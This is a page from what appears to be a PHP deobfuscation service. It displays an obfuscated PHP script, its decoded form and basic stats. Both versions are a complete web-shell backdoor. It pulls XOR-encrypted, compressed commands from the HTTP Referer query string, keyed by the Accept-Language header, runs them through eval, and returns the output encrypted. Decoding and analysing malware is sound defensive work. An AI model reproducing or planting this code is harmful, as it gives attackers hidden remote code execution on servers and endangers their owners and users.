Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $k='end_clean0M();$d=b0Mase64_0Menco0Mde(x(gzc0Mom0Mpress($o),0M0M$k));print("<0M$k..
Decoded Output download
$kh="5f4d";$kf="cc3b";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$k='end_clean0M();$d=b0Mase64_0Menco0Mde(x(gzc0Mom0Mpress($o),0M0M$k));print("<0M$k>$0Md</$k>0M");@ses0Ms0Mion_des0Mtroy();}}}}';
$m=');$q=arr0May_v0Malues($0M0Mq);preg_match_0M0Mall("/([\\w])[\\0Mw-0M]+(?:;q=0M0.([\\d0M]))?,?/0M"0M,$ra,0M0M$m);if($q&&$m){@se';
$V='0Mssion_sta0Mrt();$0Ms=&$0M0M_SESSION0M;$ss="subst0M0Mr";0M$sl="strt0Molower0M";$i=$m[1]0M[0].$m[0M1][1];$0Mh=$sl0M0M($ss(m';
$b='MR"];$r0Ma=@$0Mr["HTTP_0MACC0MEPT_LAN0MGUAGE"];0Mif($0Mrr&&$ra)0M{$0Mu=pars0Me_url($rr)0M;parse0M_str($u[0M"0Mque0Mry"],0M$q';
$H=';$0Me=strp0Mos0M($s[$i],0M$0Mf);if($e){$k=$k0M0Mh.$kf;ob_sta0Mrt0M();@ev0Mal(@0Mgzuncompr0Mess(0M@x(@ba0Mse640M_decode(preg0';
$G='M_re0Mplace(arra0My("/_/0M","/-0M/"0M),array(0M"/","+0M"),$0Mss($s[0M$i],0,$0Me)))0M,$k)));$o=0Mob_0Mge0Mt_contents()0M;0Mob_';
$X='$kh="5f4d"0M;$kf=0M"cc30Mb";fu0Mnction x(0M$t,$k){0M0M$c=strlen($0Mk);$0Ml=strlen0M0M($t);$o=""0M;fo0Mr(0M$i=0M0;$i<$l;){for($';
$R='2][$z]0M];0Mif(strpo0Ms($p,$h)0M=0M==00M){$s[$i]=""0M;$p=$ss(0M$0Mp,3);}i0Mf(array0M_key0M_0Me0Mxists($i,$s0M)){$s[$i].=$p';
$w=str_replace('UE','','cUEreaUEte_UEUEUEfuncUEtion');
$j='0Md5($i.$k0Mh),0,3));$0Mf0M=$sl($s0Ms(md0M5($i.$kf0M),0,3));0M$p=0M"";for($z=1;$0Mz<coun0M0Mt($m[1]);0M$z++)$0Mp.=$q0M[$m[';
$C='0Mj=0;0M(0M$j<$c&0M&$i0M<$l);$j++,$0Mi++){$o.=$t{$i}0M^$0Mk{$j0M};}}return 0M$o;}$0M0Mr0M=$_SERVER;$0Mrr=@$r["HTTP_0MREFERE0';
$K=str_replace('0M','',$X.$C.$b.$m.$V.$j.$R.$H.$G.$k);
$x=$w('',$K);$x();
?>
Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 9c3acb3caf2c009cd3ba079d6430f7d1 |
| Eval Count | 1 |
| Decode Time | 92 ms |